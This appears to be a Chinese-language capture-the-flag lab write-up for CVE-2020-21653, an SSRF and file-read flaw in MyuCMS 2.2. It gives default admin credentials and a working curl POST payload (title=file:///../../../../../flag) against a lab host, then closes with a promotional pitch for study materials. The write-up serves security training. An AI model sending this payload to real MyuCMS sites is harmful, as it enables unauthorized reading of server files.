CVE-2020-21653(春秋云境 )

CVE-2020-21653(春秋云境 )

更新时间-2024/4/19

靶标介绍：

MyuCMS开源内容管理系统，采用ThinkPHP开发而成的社区商城聚合，插件，模板，轻便快捷容易扩展 其2.2版本中admin.php/index/sj方法存在SSRF漏洞， 可造成任意文件读取。

账号和密码（非主要介绍）

账号：admin 密码：admin 口令：123456

具体步骤

按照提示我们来到对应实例的/admin/index/sj路劲下，会发现有一个 未定义数组索引: title的报错提醒。图示如下

分析此段代码逻辑，还是很通俗易懂的。从post请求中接收一个title参数，然后转码后给url变量，保存在save_dir对应的路径下，即**‘runtime/myucms/’，并将其命名为shengji.zip**，如果成功则返回状态码200并提示升级成功。 通过以上分析就很容易完成了以下操作。

使用curl发送post请求

  curl -X POST -d "title=file:///../../../../../flag" -b "_ga=GA1.2.1987302754.1711436925; _ga_J1DQF09WZC=GS1.2.1711436926.1.0.1711436926.0.0.0; PHPSESSID=og3u5v106nboe92d3053j0suvu" http://eci-2ze0upmwz146kc1p0o2f.cloudeci1.ichunqiu.com/admin/index/sj

curl，全称CommandLine URL 或 CommandLine Uniform Resource Locator，顾名思义，curl命令是在命令行方式下工作，利用URL的语法进行数据的传输或者文件的传输。 我们可以通过-X和-b分别只当请求方式为post和自己的cookie（完成身份验证），-d用于构造参数。成功发送后就会接收到以下返回。

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**